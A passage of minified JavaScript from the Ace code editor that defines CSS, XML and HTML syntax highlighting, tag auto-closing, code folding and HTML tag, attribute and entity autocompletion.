this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}function c(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"attribute-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:{manifest:1},head:{},title:{},base:{href:1,target:1},link:{href:1,hreflang:1,rel:{stylesheet:1,icon:1},media:{all:1,screen:1,print:1},type:{\"text/css\":1,\"image/png\":1,\"image/jpeg\":1,\"image/gif\":1},sizes:1},meta:{\"http-equiv\":{\"content-type\":1},name:{description:1,keywords:1},content:{\"text/html; charset=UTF-8\":1},charset:1},style:{type:1,media:{all:1,screen:1,print:1},scoped:1},script:{charset:1,type:{\"text/javascript\":1},src:1,defer:1,async:1},noscript:{href:1},body:{onafterprint:1,onbeforeprint:1,onbeforeunload:1,onhashchange:1,onmessage:1,onoffline:1,onpopstate:1,onredo:1,onresize:1,onstorage:1,onundo:1,onunload:1},section:{},nav:{},article:{pubdate:1},aside:{},h1:{},h2:{},h3:{},h4:{},h5:{},h6:{},header:{},footer:{},address:{},main:{},p:{},hr:{},pre:{},blockquote:{cite:1},ol:{start:1,reversed:1},ul:{},li:{value:1},dl:{},dt:{},dd:{},figure:{},figcaption:{},div:{},a:{href:1,target:{_blank:1,top:1},ping:1,rel:{nofollow:1,alternate:1,author:1,bookmark:1,help:1,license:1,next:1,noreferrer:1,prefetch:1,prev:1,search:1,tag:1},media:1,hreflang:1,type:1},em:{},strong:{},small:{},s:{},cite:{},q:{cite:1},dfn:{},abbr:{},data:{},time:{datetime:1},code:{},\"var\":{},samp:{},kbd:{},sub:{},sup:{},i:{},b:{},u:{},mark:{},ruby:{},rt:{},rp:{},bdi:{},bdo:{},span:{},br:{},wbr:{},ins:{cite:1,datetime:1},del:{cite:1,datetime:1},img:{alt:1,src:1,height:1,width:1,usemap:1,ismap:1},iframe:{name:1,src:1,height:1,width:1,sandbox:{\"allow-same-origin\":1,\"allow-top-navigation\":1,\"allow-forms\":1,\"allow-scripts\":1},seamless:{seamless:1}},embed:{src:1,height:1,width:1,type:1},object:{param:1,data:1,type:1,height:1,width:1,usemap:1,name:1,form:1,classid:1},param:{name:1,value:1},video:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},width:1,height:1,poster:1,muted:{muted:1},preload:{auto:1,metadata:1,none:1}},audio:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},muted:{muted:1},preload:{auto:1,metadata:1,none:1}},source:{src:1,type:1,media:1},track:{kind:1,src:1,srclang:1,label:1,\"default\":1},canvas:{width:1,height:1},map:{name:1},area:{shape:1,coords:1,href:1,hreflang:1,alt:1,target:1,media:1,rel:1,ping:1,type:1},svg:{},math:{},table:{summary:1},caption:{},colgroup:{span:1},col:{span:1},tbody:{},thead:{},tfoot:{},tr:{},td:{headers:1,rowspan:1,colspan:1},th:{headers:1,rowspan:1,colspan:1,scope:1},form:{\"accept-charset\":1,action:1,autocomplete:1,enctype:{\"multipart/form-data\":1,\"application/x-www-form-urlencoded\":1},method:{get:1,post:1},name:1,novalidate:1,target:{_blank:1,top:1}},fieldset:{disabled:1,form:1,name:1},legend:{},label:{form:1,\"for\":1},input:{type:{text:1,password:1,hidden:1,checkbox:1,submit:1,radio:1,file:1,button:1,reset:1,image:31,color:1,date:1,datetime:1,\"datetime-local\":1,email:1,month:1,number:1,range:1,search:1,tel:1,time:1,url:1,week:1},accept:1,alt:1,autocomplete:{on:1,off:1},autofocus:{autofocus:1},checked:{checked:1},disabled:{disabled:1},form:1,formaction:1,formenctype:{\"application/x-www-form-urlencoded\":1,\"multipart/form-data\":1,\"text/plain\":1},formmethod:{get:1,post:1},formnovalidate:{formnovalidate:1},formtarget:{_blank:1,_self:1,_parent:1,_top:1},height:1,list:1,max:1,maxlength:1,min:1,multiple:{multiple:1},pattern:1,placeholder:1,readonly:{readonly:1},required:{required:1},size:1,src:1,step:1,width:1,files:1,value:1},button:{autofocus:1,disabled:{disabled:1},form:1,formaction:1,formenctype:1,formmethod:1,formnovalidate:1,formtarget:1,name:1,value:1,type:{button:1,submit:1}},select:{autofocus:1,disabled:1,form:1,multiple:{multiple:1},name:1,size:1,readonly:{readonly:1}},datalist:{},optgroup:{disabled:1,label:1},option:{disabled:1,selected:1,label:1,value:1},textarea:{autofocus:{autofocus:1},disabled:{disabled:1},form:1,maxlength:1,name:1,placeholder:1,readonly:{readonly:1},required:{required:1},rows:1,cols:1,wrap:{on:1,off:1,hard:1,soft:1}},keygen:{autofocus:1,challenge:{challenge:1},disabled:{disabled:1},form:1,keytype:{rsa:1,dsa:1,ec:1},name:1},output:{\"for\":1,form:1,name:1},progress:{value:1,max:1},meter:{value:1,min:1,max:1,low:1,high:1,optimum:1},details:{open:1},summary:{},command:{type:1,label:1,icon:1,disabled:1,checked:1,radiogroup:1,command:1},menu:{type:1,label:1},dialog:{open:1}},a=Object.keys(u),h=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\"))return this.getTagCompletions(e,t,n,r);if(f(i,\"tag-whitespace\")||f(i,\"attribute-name\"))return this.getAttributeCompletions(e,t,n,r);if(f(i,\"attribute-value\"))return this.getAttributeValueCompletions(e,t,n,r);var s=t.getLine(n.row).substr(0,n.column);return/&[A-z]*$/i.test(s)?this.getHTMLEntityCompletions(e,t,n,r):[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompletions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(Object.keys(u[i]))),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})},this.getAttributeValueCompletions=function(e,t,n,r){var i=l(t,n),s=c(t,n);if(!i)return[];var o=[];return i in u&&s in u[i]&&typeof u[i][s]==\"object\"&&(o=Object.keys(u[i][s])),o.map(function(e){return{caption:e,snippet:e,meta:\"attribute value\",score:Number.MAX_VALUE}})},this.getHTMLEntityCompletions=function(e,t,n,r){var i=[\"&Aacute;\",\"&aacute;\",\"&Acirc;\",\"&acirc;\",\"&acute;\",\"&AElig;\",\"&aelig;\",\"&Agrave;\",\"&agrave;\",\"&alefsym;\",\"&Alpha;\",\"&alpha;\",\"&amp;\",\"&and;\",\"&ang;\",\"&Aring;\",\"&aring;\",\"&asymp;\",\"&Atilde;\",\"&atilde;\",\"&Auml;\",\"&auml;\",\"&bdquo;\",\"&Beta;\",\"&beta;\",\"&brvbar;\",\"&bull;\",\"&cap;\",\"&Ccedil;\",\"&ccedil;\",\"&cedil;\",\"&cent;\",\"&Chi;\",\"&chi;\",\"&circ;\",\"&clubs;\",\"&cong;\",\"&copy;\",\"&crarr;\",\"&cup;\",\"&curren;\",\"&Dagger;\",\"&dagger;\",\"&dArr;\",\"&darr;\",\"&deg;\",\"&Delta;\",\"&delta;\",\"&diams;\",\"&divide;\",\"&Eacute;\",\"&eacute;\",\"&Ecirc;\",\"&ecirc;\",\"&Egrave;\",\"&egrave;\",\"&empty;\",\"&emsp;\",\"&ensp;\",\"&Epsilon;\",\"&epsilon;\",\"&equiv;\",\"&Eta;\",\"&eta;\",\"&ETH;\",\"&eth;\",\"&Euml;\",\"&euml;\",\"&euro;\",\"&exist;\",\"&fnof;\",\"&forall;\",\"&frac12;\",\"&frac14;\",\"&frac34;\",\"&frasl;\",\"&Gamma;\",\"&gamma;\",\"&ge;\",\"&gt;\",\"&hArr;\",\"&harr;\",\"&hearts;\",\"&hellip;\",\"&Iacute;\",\"&iacute;\",\"&Icirc;\",\"&icirc;\",\"&iexcl;\",\"&Igrave;\",\"&igrave;\",\"&image;\",\"&infin;\",\"&int;\",\"&Iota;\",\"&iota;\",\"&iquest;\",\"&isin;\",\"&Iuml;\",\"&iuml;\",\"&Kappa;\",\"&kappa;\",\"&Lambda;\",\"&lambda;\",\"&lang;\",\"&laquo;\",\"&lArr;\",\"&larr;\",\"&lceil;\",\"&ldquo;\",\"&le;\",\"&lfloor;\",\"&lowast;\",\"&loz;\",\"&lrm;\",\"&lsaquo;\",\"&lsquo;\",\"&lt;\",\"&macr;\",\"&mdash;\",\"&micro;\",\"&middot;\",\"&minus;\",\"&Mu;\",\"&mu;\",\"&nabla;\",\"&nbsp;\",\"&ndash;\",\"&ne;\",\"&ni;\",\"&not;\",\"&notin;\",\"&nsub;\",\"&Ntilde;\",\"&ntilde;\",\"&Nu;\",\"&nu;\",\"&Oacute;\",\"&oacute;\",\"&Ocirc;\",\"&ocirc;\",\"&OElig;\",\"&oelig;\",\"&Ograve;\",\"&ograve;\",\"&oline;\",\"&Omega;\",\"&omega;\",\"&Omicron;\",\"&omicron;\",\"&oplus;\",\"&or;\",\"&ordf;\",\"&ordm;\",\"&Oslash;\",\"&oslash;\",\"&Otilde;\",\"&otilde;\",\"&otimes;\",\"&Ouml;\",\"&ouml;\",\"&para;\",\"&part;\",\"&permil;\",\"&perp;\",\"&Phi;\",\"&phi;\",\"&Pi;\",\"&pi;\",\"&piv;\",\"&plusmn;\",\"&pound;\",\"&Prime;\",\"&prime;\",\"&prod;\",\"&prop;\",\"&Psi;\",\"&psi;\",\"&quot;\",\"&radic;\",\"&rang;\",\"&raquo;\",\"&rArr;\",\"&rarr;\",\"&rceil;\",\"&rdquo;\",\"&real;\",\"&reg;\",\"&rfloor;\",\"&Rho;\",\"&rho;\",\"&rlm;\",\"&rsaquo;\",\"&rsquo;\",\"&sbquo;\",\"&Scaron;\",\"&scaron;\",\"&sdot;\",\"&sect;\",\"&shy;\",\"&Sigma;\",\"&sigma;\",\"&sigmaf;\",\"&sim;\",\"&spades;\",\"&sub;\",\"&sube;\",\"&sum;\",\"&sup;\",\"&sup1;\",\"&sup2;\",\"&sup3;\",\"&supe;\",\"&szlig;\",\"&Tau;\",\"&tau;\",\"&there4;\",\"&Theta;\",\"&theta;\",\"&thetasym;\",\"&thinsp;\",\"&THORN;\",\"&thorn;\",\"&tilde;\",\"&times;\",\"&trade;\",\"&Uacute;\",\"&uacute;\",\"&uArr;\",\"&uarr;\",\"&Ucirc;\",\"&ucirc;\",\"&Ugrave;\",\"&ugrave;\",\"&uml;\",\"&upsih;\",\"&Upsilon;\",\"&upsilon;\",\"&Uuml;\",\"&uuml;\",\"&weierp;\",\"&Xi;\",\"&xi;\",\"&Yacute;\",\"&yacute;\",\"&yen;\",\"&Yuml;\",\"&yuml;\",\"&Zeta;\",\"&zeta;\",\"&zwj;\",\"&zwnj;\"];return i.map(function(e){return{caption:e,snippet:e.substr(1),meta:\"html entity\",score:Number.MAX_VALUE}})}}).call(h.prototype),t.HtmlCompletions=h}),define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var 